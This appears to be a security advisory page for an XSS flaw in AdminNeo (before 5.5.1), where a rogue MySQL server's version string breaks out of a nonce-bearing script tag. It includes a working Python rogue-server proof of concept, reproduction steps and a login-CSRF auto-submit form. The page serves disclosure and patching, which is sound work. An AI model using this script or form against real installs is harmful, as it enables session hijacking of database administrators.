high · 8.2 Patched

AdminNeo Vulnerable to XSS via Rogue MySQL Server Version String (CSP Nonce Bypass)

CVE-2026-96632 · GHSA-rx7m-wxwq-vxr9 · published 30 Oct 2026

How serious is it

  • Severity: high, CVSS score 8.2 out of 10.
  • No exploit prediction (EPSS) score yet.
  • Not on the CISA list of exploited vulnerabilities.
  • No public exploit in Exploit-DB.

Is your app affected by CVE-2026-96632?

Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.

Who is affected

  • adminneo-org/adminneo (Packagist) < 5.5.1

How to check

  1. Run composer show adminneo-org/adminneo in your project to see the installed version, including copies pulled in by other packages.
  2. Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.

How to fix

Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
  1. Upgrade adminneo-org/adminneo to 5.5.1 or later, commit the lockfile and redeploy.
  2. If a vulnerable version was live, check your logs and rotate the secrets that server could read.

The advisory

## Summary AdminNeo inserts the database server's version string into a `<script>` tag that carries a valid CSP nonce, without any sanitization. A rogue database server can return a crafted version string that breaks out of the JavaScript context and executes arbitrary code. Because the script tag already has a valid nonce, the browser's Content Security Policy does not block execution. No authentication is required when combined with Login CSRF. Originally reported in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-h6jr-7pr6-grgj ## Prerequisites - Target runs AdminNeo - Attacker controls a reachable MySQL server (a 80-line Python script) ## Root Cause `admin/core/Admin.php`, lines 1285-1286: ```php echo script("let autocompletion;\nwindow.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('" . Connection::get()->getVersion() . "', '" . Connection::get()->getFlavor() . "', autocompletion); });"); ``` `script()` wraps the output in `<script nonce="VALID_NONCE">`. Return value of `Connection::get()->getVersion()` is not escaped. ## Steps To Reproduce ### 1. Build the environment **Dockerfile** (AdminNeo): ```dockerfile FROM php:8.3-cli COPY adminneo.php /var/www/adminneo.php WORKDIR /var/www EXPOSE 8081 CMD ["php", "-S", "0.0.0.0:8081"] ``` **rogue_mysql.py** (fake MySQL server that accepts any login): ```python import socket, struct, threading PAYLOAD = "1');alert(origin)//" # Capability flags the client expects CAP_PROTOCOL_41 = 0x0200 CAP_SECURE_CONNECTION = 0x8000 CAP_PLUGIN_AUTH = 0x00080000 CAPS_LOW = CAP_PROTOCOL_41 | CAP_SECURE_CONNECTION CAPS_HIGH = (CAP_PLUGIN_AUTH >> 16) def make_packet(seq, payload): length = struct.pack("<I", len(payload))[:3] return length + bytes([seq]) + payload def make_greeting(version_str): pkt = b"\x0a" # protocol version 10 pkt += version_str.encode() + b"\x00" # version string pkt += struct.pack("<I", 1) # connection id pkt += b"\x41" * 8 # auth plugin data part 1 pkt += b"\x00" # filler pkt += struct.pack("<H", CAPS_LOW) # capability flags lower pkt += b"\x21" # charset utf8 pkt += struct.pack("<H", 0x0002) # status flags pkt += struct.pack("<H", CAPS_HIGH) # capability flags upper pkt += b"\x15" # auth data length (21) pkt += b"\x00" * 10 # reserved pkt += b"\x41" * 12 + b"\x00" # auth plugin data part 2 pkt += b"mysql_native_password\x00" # auth plugin name return make_packet(0, pkt) def make_ok(seq): pkt = b"\x00" # OK marker pkt += b"\x00" # affected rows pkt += b"\x00" # last insert id pkt += struct.pack("<H", 0x0002) # status flags pkt += struct.pack("<H", 0) # warnings return make_packet(seq, pkt) def make_eof(seq): pkt = b"\xfe" pkt += struct.pack("<H", 0) # warnings pkt += struct.pack("<H", 0x0002) # status flags return make_packet(seq, pkt) def make_err(seq, msg=b"not supported"): pkt = b"\xff" pkt += struct.pack("<H", 1045) pkt += b"#HY000" pkt += msg return make_packet(seq, pkt) def handle(conn): conn.sendall(make_greeting(PAYLOAD)) try: conn.recv(4096) # client login request except Exception: conn.close() return conn.sendall(make_ok(2)) # accept login # Answer any queries Adminer sends after login while True: try: data = conn.recv(4096) if not data: break seq = data[3] + 1 # Send ERR for all queries (Adminer still has the version in memory) conn.sendall(make_err(seq)) except Exception: break conn.close() srv = socket.socket() srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) srv.bind(("0.0.0.0", 3307)) srv.listen(5) print("[*] Rogue MySQL on :3307 - version: " + PAYLOAD) while True: conn, addr = srv.accept() print(f"[+] Connection from {addr}") threading.Thread(target=handle, args=(conn,)).start() ``` ```shell # Terminal 1: start Adminer docker build -t adminer-xss . docker run -d -p 8081:8081 --name adminer-xss adminer-xss # Terminal 2: start rogue MySQL python3 rogue_mysql.py ``` ### 2. Trigger the XSS Open a browser and navigate to `http://localhost:8081/adminneo.php`: 1. Select driver: **MySQL** 2. Server: `HOST_IP:3307` (IP of the machine running rogue_mysql.py) 3. Username: `root` 4. Password: `x` 5. Click Login. The rogue server accepts the login. AdminNeo renders the dashboard and includes: ```html <script nonce="REAL_NONCE">let autocompletion; window.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('1');alert(origin)//', 'mysql', autocompletion); });</script> ``` The browser executes `alert(origin)` with full CSP bypass because the script tag carries a valid nonce. ### 3. Trigger it via Login CSRF The login form has no CSRF token. An attacker page auto-submits the login, forcing the victim's browser to connect to the rogue server: ```html <form id="f" method="POST" action="http://TARGET/adminneo.php"> <input name="auth[driver]" value="mysql"> <input name="auth[server]" value="ROGUE_IP:3307"> <input name="auth[username]" value="root"> <input name="auth[password]" value="x"> </form> <script>document.getElementById('f').submit()</script> ``` ## Collaborator Request This vulnerability was discovered jointly with Yashar Shahinzadeh (GitHub: @Voorivex). Could you please add him as a collaborator on this advisory and credit him as a co-discoverer? Thank you!

Check your whole app

Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.

References

Merged from GitHub Advisory Database, OSV. Last updated 31 Oct 2026. All vulnerabilities · RSS · JSON